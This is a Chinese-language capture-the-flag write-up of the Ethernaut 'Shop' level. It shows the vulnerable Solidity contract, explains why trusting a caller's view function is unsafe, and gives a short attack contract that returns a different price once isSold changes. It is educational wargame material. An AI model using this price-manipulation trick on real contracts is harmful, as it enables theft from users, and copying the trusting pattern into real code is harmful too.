view 函数的限制Shop

111 阅读2分钟

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

分析:

让我们回顾一下合约代码,我们可以看到,合约中的 price代表了 Buyer为购买物品必须支付的 wei(以太币单位)的数量。

物品也只有在尚未售出时才能被购买。这个属性由状态变量 isSold控制,初始化为 "false",然后在 "buy" 函数中改变为 "true"。

buy为合约的主要函数, 先将msg.sender转换为Buyer,它期望交易的发送者是一个合约,并实现Buyer接口中定义的price函数。

合约会询问用户msg.sender(所以可以是智能合约)的出价,如果其price()函数返回的结果超过当前的定价并且商品仍未卖出,则会将定价设为用户的出价。现在看应该是要求用户两次出价返回的结果不同。然而,我们可以看到Buyer类型的接口price()是一个view类型的函数,这表明只能读取变量而不应当对变量有所修改,即不能改变当前合约的状态。

有没有办法能够使得view方法两次返回的值不同呢?

  • 依托于外部合约的变化
  • 依托于本身变量的变化

如果view类型方法依托于外部合约的状态,通过询问外部变量,即可无修改地实现返回值的区别

攻击合约


contract attack{
   Shop shop;
   function att()public{
     shop=Shop(0xd9145CCE52D386f254917e481eB44e9943F39138);
     shop.buy();
   }
   function price()external view returns (uint){
     if(shop.isSold()==false){
       return 100;
     }
     return 99;
   }
    
}

此时由于在请求price()前后Shop合约的isSold变量已发生了变化,所以我们可以基于该变量设置if规则,这种方法是适用的.

成功!
image.png